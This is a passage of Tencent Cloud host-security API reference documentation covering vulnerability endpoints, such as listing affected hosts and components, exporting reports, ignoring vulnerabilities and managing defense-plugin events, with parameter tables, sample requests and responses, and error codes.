2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulEffectHostList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination limit, with the maximum value being 100.
Offset	Yes	Integer	Pagination offset
VulId	Yes	Integer	Vulnerability ID
Filters.N	No	Array of Filter	Filter criteria: • AliasName - String - host name for filtering • TagIds - String - array of host tag IDs separated by commas • Status - String - status: 0: pending; 1: ignored; 3: fixed; 5: detecting; 6: fixing; 8: fixing failed

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			• Uuid - String array - UUID array • Version - String array - paid edition array: "Flagship": Ultimate Edition; "PRO_VERSION": Pro Edition; "BASIC_VERSION": Basic Edition • InstanceState - String array - instance status array: "PENDING": creating; "LAUNCH_FAILED": creation failed; "RUNNING": running; "STOPPED": shut down; "STARTING": starting; "STOPPING": shutting down; "REBOOTING": restarting; "SHUTDOWN": to be terminated; "TERMINATING": terminating; "UNKNOWN": unknown (for non-Tencent Cloud machines and offline client)

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of lists
VulEffectHostList	Array of VulEffectHostList	List of affected hosts Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 List of Hosts Affected by Vulnerability

List of hosts affected by the vulnerability

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeVulEffectHostList
&VulId=100435
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

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```
{
"Response": {
"RequestId": "4234234",
"TotalCount": 2,
"VulEffectHostList": [
{
"EventId": 15,
"Status": 0,
"LastTime": "2020-04-22 03:29:52",
"Level": 1,
"Quuid": "b86925b4-cc36-420e-80d4-5094cb2f094b",
"Uuid": "ed629672-165e-11ea-8bcf-40f2e9f3d932",
"HostIp": "10.104.14.165",
"AliasName": "POC test (129.204.36.227)",
"Tags": null
},
{
"EventId": 16,
"Status": 1,
"LastTime": "2020-02-09 03:02:17",
"Level": 2,
"Quuid": "b86925b4-cc36-420e-80d4-5094cb2f094b",
"Uuid": "ed629672-165e-11ea-8bcf-40f2e9f3d932",
"HostIp": "10.104.14.165",
"AliasName": "POC test (129.204.36.227)",
"Tags": null
}
]
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulEffectModules

Last updated：2024-12-06 15:39:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of components affected by vulnerabilities.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulEffectModules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Number of entries on each page. Maximum value: 100.
Offset	Yes	Integer	Paging offset
VulId	Yes	Integer	Vulnerability ID
Filters.N	No	Array of Filter	Filter criteria: • Uuid - String array - Uuid string array

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of lists
VulEffectModuleInfo	Array of VulEffectModuleInfo	List of affected hosts Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 List of Hosts Affected by the Vulnerability

This example shows you the list of hosts affected by the vulnerability.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulEffectModules
<Common request parameters>

{
"Offset": "0",
"Limit": "10",
"VulId": "100435"
}
```

Output Example

```
{
"Response": {
"TotalCount": 1,
"VulEffectModuleInfo": [
{
"Name": "openssl-devel",
```

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```
"Version": "1:1.0.2k-19.el7",
"FixCmd": "sudo yum update openssl-devel\n",
"Path": "/usr/include/openssl",
"Rule": "openssl-devel version less than 1:1.0.2k-22.el7_9",
"Uuids": [
"05f0bcab-726c-4ea4-8109-bcd03d5598f7"
],
"Quuids": [
"05f0bcab-726c-4ea4-8109-bcd03d5598f7"
]
}
],
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportVulEffectHostList

Last updated：2024-12-06 15:38:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of hosts affected by vulnerabilities.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportVulEffectHostList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VulId	Yes	Integer	Vulnerability ID
Filters.N	No	Array of Filter	Filter criteria • AliasName - String - filter by host name

3. Output Parameters

Parameter	Type	Description

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Name		
DownloadUrl	String	This parameter has been deprecated. Note: This field may return null, indicating that no valid values can be obtained.
TaskId	String	Export task ID, which can be downloaded by using the API ExportTasks.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Hosts Affected by Vulnerabilities

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportVulEffectHostList
&VulId=100435
&<Common request parameters>
```

Output Example

```
{
"Response": {
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c",
"TaskId": "10001"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
OperationDenied	The operation was denied.

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ExportVulInfo

Last updated：2024-12-06 15:38:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the vulnerability information, including the list of affected hosts and component information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportVulInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VulId	Yes	Integer	Vulnerability ID

3. Output Parameters

Parameter Name	Type	Description
TaskId	Integer	Export task ID, which is downloadable via the ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if

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		the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Hosts Affected by Vulnerabilities

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportVulInfo
<Common request parameters>

{
"VulId": "100435"
}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"TaskId": 1
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
OperationDenied	The operation was denied.

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IgnoreImpactedHosts

Last updated：2024-12-06 15:38:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to ignore vulnerabilities.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: IgnoreImpactedHosts.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Vulnerability ID array

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Ignoring Vulnerabilities

This example shows you how to ignore vulnerabilities.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=IgnoreImpactedHosts
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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CancelIgnoreVul

Last updated：2024-12-06 15:39:13

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to unignore the vulnerabilities.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CancelIgnoreVul.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
EventIds	Yes	String	Vulnerability event ID string (multiple entries are separated by comma)

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Canceling an Ignored Vulnerability

This example shows you how to cancel an ignored vulnerability.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=CancelIgnoreVul
&EventIds=2,3
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "4234234"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportVulDetectionReport

Last updated：2024-12-06 15:38:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the vulnerability detection report.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportVulDetectionReport.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	Integer	Vulnerability scan task ID (different from the task ID of the export detection report task ID in the output parameter)
Filters.N	No	Array of Filters	Filter parameters
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.

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3. Output Parameters

Parameter Name	Type	Description
DownloadUrl	String	Download URL for exported file
TaskId	String	ID of the task for exporting detection report (different from the vulnerability scan task ID in the input parameters)
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting a Vulnerability Detection Report

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportVulDetectionReport
<Common request parameters>

{
"TaskId": "1596595610"
}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"DownloadUrl": "https://xxx.cos.ap-guangzhou.myqcloud.com/%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B%E6%8A%A5%E5%91%8A_20210312.pdf?q-sign-algorithm=sha1&q-ak=xxx&q-sign-time=1615549630%3B1615553230&q-key-time=1615549630%3B1615553230&q-header-list=host&q-url-param-list=&q-signature=xxx",
"TaskId": "15674"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyVulDefenceSetting

Last updated：2024-12-06 15:38:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify vulnerability defense plugin settings.

1. The new settings apply to new hosts automatically. scope is set to 1, and quuids is left blank.
2. The new settings do not apply to Ultimate Edition hosts. scope is set to 0, and the current QUUID list is specified as the value of quuids.
3. For a given QUUID list, when scope is set to 0, QUUID selected by the user is specified as the value of quuids.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyVulDefenceSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Enable	Yes	Integer	Defense switch: 0 - off; 1 - on
Scope	Yes	Integer	1 - All Ultimate edition hosts; 0 - list of hosts with Quuids
Quuids.N	No	Array of	List of Ultimate Edition hosts within the scope

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		String	
ExcludeInstanceIds.N	No	Array of String	Exclude the list of Ultimate Edition hosts within the scope
AutoInclude	No	Integer	New assets automatically include: 0 - Do not include, 1 - include.
InstanceIds.N	No	Array of String	List of Ultimate Edition hosts within the scope

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Vulnerability Defense Plugin Settings

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyVulDefenceSetting
<Common request parameters>

{
"Enable": 1,
"Scope": 1
}
```

Output Example

```
{
"Response": {
```

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```
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.

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ExportVulDefencePluginEvent

Last updated：2024-12-06 15:38:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export vulnerability defense plugin events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportVulDefencePluginEvent.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Keywords: IP or host name for fuzzy match, Quuid, Exception, Status for precise match
Where.N	No	Array of String	Export fields and export all by default.

3. Output Parameters

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Parameter Name	Type	Description
TaskId	String	Export file ID, which is downloadable via the ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Vulnerability Defense Plugin Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportVulDefencePluginEvent
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"TaskId": "17306254246797835 47"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulDefencePluginDetail

Last updated：2024-12-06 15:39:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the vulnerability defense plugin information on a single host.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulDefencePluginDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID
Filters.N	No	Array of Filter	Filter criterion. Keywords: IP address or host name. Exception and Status support precise match.
Offset	No	Integer	Data offset
Limit	No	Integer	Data limit

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of data
List	Array of VulDefencePluginDetail	List of detailed information on the vulnerability defense plugin Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Vulnerability Defense Plugin Information for a Single Host

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulDefencePluginDetail
<Common request parameters>

{
"Quuid": "d92d723e-4aac-4f4a-bbf9-e5430e29d289"
}
```

Output Example

```
{
"Response": {
"List": [
{
"Pid": 28942,
"MainClass": "org.apache.catalina.startup.Bootstrap",
"Status": 1,
"ErrorLog": "error",
"InjectLog": "failed"
```

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```
}
],
"RequestId": "de9c0927-3177-48f5-9212-2c3354a4c011",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeVulDefenceEvent

Last updated：2025-03-11 22:59:50

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of vulnerability defense events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulDefenceEvent.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filtering criteria: Keywords for IP or host name; VulKeywords vulnerability name or CveId for fuzzy query; Quuid, VulId, EventType, Status for precise match; CreateBeginTime, CreateEndTime for time period query
Offset	No	Integer	Data offset
Limit	No	Integer	Data limit
Order	No	String	Sorting method, case insensitive: ASC for ascending order; DESC for descending order

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By	No	String	Sort columns, which are strictly equal: CreateTime for creation time, MergeTime for merge time, and Count for event count

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of data
List	Array of VulDefenceEvent	List of vulnerability defense events Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Vulnerability Defense Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulDefenceEvent
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
{
"Alias": "v_llzlu micro-isolation test (millionlan)",
"City": "beijing",
```

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```
"Count": 74,
"CreateTime": "2024-11-03 00:40:12",
"CveId": "CVE-2014-8500",
"EventType": 2,
"FixType": 1,
"Id": 13844,
"MachineExtraInfo": {
"HostName": "v_llzlu micro-isolation test (millionlan)",
"InstanceID": "ins-j7vumfb6",
"NetworkName": "vpc-mbgoxtov",
"NetworkType": 1,
"PrivateIP": "10.0.1.233",
"WanIP": "43.138.142.208"
},
"MergeTime": "2024-11-03 15:45:16",
"PrivateIp": "10.0.1.233",
"PublicIp": "43.138.142.208",
"Quuid": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"SourceIp": "na",
"SourcePort": [],
"Status": 1,
"UpgradeType": 1,
"Uuid": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"VulId": 14004,
"VulName": "ISC BIND Resource Management Error Vulnerability (CVE-2014-8500)"
}
],
"RequestId": "356fec3f-0a9e-47c1-bbd0-c47d1496d0ae",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ExportVulDefenceEvent

Last updated：2024-12-06 15:39:00

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export vulnerability defense events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportVulDefenceEvent.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filtering criteria: Keywords for IP or host name; VulKeywords vulnerability name or CveId for fuzzy query; Quuid, VulId, EventType, Status for precise match; CreateBeginTime, CreateEndTime for time period query
Where.N	No	Array of String	Export fields and export all by default.

3. Output Parameters

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Parameter Name	Type	Description
TaskId	String	Export file ID, which can be downloaded using the ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Vulnerability Defense Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportVulDefenceEvent
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"TaskId": "17306255018021612O7"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyVulDefenceEventStatus

Last updated：2024-12-06 15:38:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to change the vulnerability defense event status. (Vulnerability fixing is carried out using another API.)

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyVulDefenceEventStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Event ID
Status	Yes	Integer	0: pending; 2: processed; 3: ignored; 4: deleted.

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying the Status of Vulnerability Defense Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyVulDefenceEventStatus
<Common request parameters>

{
"Ids": [
1
],
"Status": 3
}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeDefenceEventDetail

